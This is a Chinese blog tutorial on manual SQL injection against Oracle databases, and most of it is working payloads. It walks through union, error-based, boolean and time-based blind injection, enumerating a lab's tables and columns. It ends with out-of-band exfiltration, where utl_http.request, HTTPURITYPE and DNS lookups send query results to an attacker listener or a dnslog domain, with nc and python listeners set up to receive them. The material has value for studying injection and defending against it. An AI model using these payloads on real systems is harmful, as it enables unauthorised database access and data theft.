SQL注入之Oracle手工注入

发布时间 2023-07-02 21:17:47作者: Saint_Michael

0x00. Oracle注入

1.Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

1. 基础知识

//注释符 多行注释:/**/,单行注释:--
1.dual表
此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上位满足查询条件而产生。
与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual

2.基本用法
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select*from all_tab_columns 查询出所有的字段
select*from user_tab_columns  查询出当前用户的字段
select*from v$version 查版本

3.rownum=1   (限制查询返回的总行数为一条)
对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。 
我们可以用rownum<3来要求他输出2条数据

 

2. 判断Oracle数据库

利用函数来判断是否oracle数据 如:and len('a')=1
(在mssql和mysql以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。)
也可以通过dual来判断是否为oracle

3. 联合注入

3.1. 注入点判断

也是通过and 1=1,and 1=2确认
/filter?category=-0'+AND+1=1--
/filter?category=-0'+AND+1=2--

 

 

3.2. 判断字段数

也是通过order by确认

这里判断是2

/filter?category=-0'+ORDER+BY+2--

 

获取字段位

//联合查询

/filter?category=-0'+UNION+SELECT+NULL+,+NULL+FROM+DUAL--
//修改null为'null',判断字段类型均为字符型
/filter?category=-0'+UNION+SELECT+'NULL'+,+'NULL'+FROM+DUAL--
//Dual 是 Oracle中的一个实际存在的表,任何用户均可读取。所以可以通过这个dual表 来显示列数。

 

先判断整型,这里字段位没出来,换字符串型试试

/filter?category=-0'+UNION+SELECT+NULL+,+NULL+FROM+DUAL--

 

换成'NULL'试试,这里出来了

/filter?category=-0'+UNION+SELECT+'NULL'+,+'NULL'+FROM+DUAL--

 

3.3. 查询数据库信息

http://127.0.0.1/new_list.php?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual

1.当前用户权限         (select * from session_roles where rownum=1)
2.当前数据库版本  (select banner from sys.v_$version where rownum=1)
3.服务器出口IP   (用utl_http.request反弹注入可以实现,下面详细操作)
4.服务器监听IP   (select utl_inaddr.get_host_address from dual where rownum=1)
5.日志文件 (select member from v$logfile where rownum=1)
6.服务器sid(当前数据库也用这个即可) (select instance_name from v$instance where rownum=1)
7.当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual where rownum=1)
8.当前用户 (select user from dual where rownum=1)
9.当前数据库名 (select table_name from user_tables where rownum=1)

 

查看当前数据库(这里不让查,正常是这个查询逻辑):

GET /filter?category=-0'+UNION+SELECT+'NULL'+,+(select+instance_name+from+V$INSTANCE+where+rownum=1)+FROM+DUAL--

 

 

看看当前用户权限:

/filter?category=-0'+UNION+SELECT+'NULL'+,+(select+*+from+session_roles+where+rownum=1)+FROM+DUAL--

 

 当前数据库用户

/filter?category=-0'+UNION+SELECT+'NULL'+,+(select+user+from+dual+where+rownum=1)+FROM+DUAL--

 

3.4. 查询表名

/filter?category=-0'+UNION+SELECT+'NULL'+,+(select+table_name+from+user_tables+where+rownum=1)+FROM+DUAL--

第一个表名如下:PRODUCTS

 

获取第二个表名:

/filter?category=-0'+UNION+SELECT+'NULL'+,+(select+table_name+from+user_tables+where+rownum=1)+FROM+DUAL--

加入条件限制,不显示第一个表名
and+table_name+not+in+'PRODUCTS'

/filter?category=-0'+UNION+SELECT+'NULL'+,+(select+table_name+from+user_tables+where+rownum=1+and+table_name+not+in+'PRODUCTS')+FROM+DUAL--

第二个表名:这里没有了

 

3.5. 查询列名

获取PRODUCTS的列

GET /filter?category=-0'+UNION+SELECT+'NULL'+,+(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1)+FROM+DUAL--
(select column_name from user_tab_columns where table_name='PRODUCTS' and rownum=1)

第一个id

 

获取第二个,继续加条件

GET /filter?category=-0'+UNION+SELECT+'NULL'+,+(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1+and+column_name+not+in+'ID')+FROM+DUAL--

and+column_name+not+in+'ID'
(select column_name from user_tab_columns where table_name='PRODUCTS' and rownum=1+and+column_name+not+in+'ID')

第二个字段:CATEGORY

 

第三个字段:NAME

GET /filter?category=-0'+UNION+SELECT+'NULL'+,+(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1+and+column_name+not+in+'ID'+and+column_name+not+in+'CATEGORY')+FROM+DUAL--

 

其他字段:RATING、PRICE、IMAGE、RELEASED、DESCRIPTION

不断累加过滤条件即可。

 

查信息其他都是一样的

payload:

GET /filter?category=-0'+UNION+SELECT+BANNER+,+'NULL'+FROM+sys.v_$version--

 

4. 报错注入

通过报错将需要的数据爆出来

1.ctxsys.drithsx.sn()
http://127.0.0.1/new_list.php?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

(select banner from sys.v_$version where rownum=1) from dual
2.XMLType()
http://127.0.0.1/new_list.php?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

3.dbms_xdb_version.checkin()
http://127.0.0.1/new_list.php?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

4.bms_xdb_version.makeversioned()
http://127.0.0.1/new_list.php?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

5.dbms_xdb_version.uncheckout()
http://127.0.0.1/new_list.php?id=1 and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --

6.dbms_utility.sqlid_to_sqlhash()
http://127.0.0.1/new_list.php?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --

7.ordsys.ord_dicom.getmappingxpath()
http://127.0.0.1/new_list.php?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user)--

//实际测试3456可以报错显示数据 127未能报错,显示数据,可能是环境问题

 

 

5. 布尔型盲注

通过构造不同条件,返回返回页面的不同,就形成了Bool值的注入

5.1. decode函数布尔盲注

decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3

ASCII码(a-z~A-Z 32~126)
//测试用户名长度
http://127.0.0.1/new_list.php?id=1 and 6=(select length(user) from dual) --+
//爆第一个字符
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',1,0) from dual) --
//爆第二个字符
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(ascii(substr(user,2,1)),'83',1,0) from dual) --
...
//验证爆出的是否正确
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --

//查数据库,表名,列名,数据都可以结合union注入更换user字符进行注入。
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(ascii(substr((select table_name from user_tables where rownum=1),2,1)),'83',1,0) from dual) --

 

 

5.2. case then函数布尔盲注

//这句话的意思是当user的第一个字符的ascaii码=83时,返回1,否则返回2
case when ascii(substr(user,1,1))=83 then '1' else '2' end

//盲注中的应用
http://127.0.0.1/new_list.php?id=1 and 1 =(case when ascii(substr(user,1,1))=83 then '1' else '2' end)--

 

6. 时间盲注

//DBMS_PIPE.RECEIVE_MESSAGE函数的作用是从指定管道获取消息。
用法:DBMS_PIPE.RECEIVE_MESSAGE('pipename',timeout)
pipename:varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。
timeout:integer的可选输入参数,用来指定等待时间。

//盲注中的应用
http://127.0.0.1/new_list.php?id=1 and 1=dbms_pipe.receive_message('o', 5)--

 

//结合布尔进行注入
http://127.0.0.1/new_list.php?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',dbms_pipe.receive_message('o',5),0) from dual) --

 

 

7. 外带数据注入

也是反射注入。

7.1. url_http.request()

1.首先检测是否支持url_http.request(),页面返回正常则表示支持
http://127.0.0.1/new_list.php?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

2.本地监听,观察执行SQL语句反弹输出
python3 -m http.server 8888
或者nc -lvvp 8888

3.http访问时可以将||进行URL编码%7C%7C
http://127.0.0.1/new_list.php?id=1 and utl_http.request('http://IP:8888/'||(select banner from sys.v_$version where rownum=1))=1--

 

7.2. utl_inaddr.get_host_address()

#使用dnslog外带数据  ||进行URL编码%7C%7C
http://127.0.0.1/new_list.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.xxxx.dnslog.cn') from dual)is not null --

bbjhiw.dnslog.cn

 

7.3. HTTPURITYPE()

1.本地监听,观察执行SQL语句反弹输出
python3 -m http.server 8888
或者nc -lvvp 8888

2.http访问时可以将||进行URL编码%7C%7C
http://127.0.0.1/new_list.php?id=1 and (select HTTPURITYPE('http://IP:8888/'||(select user from dual)).GETCLOB() FROM DUAL)is not null --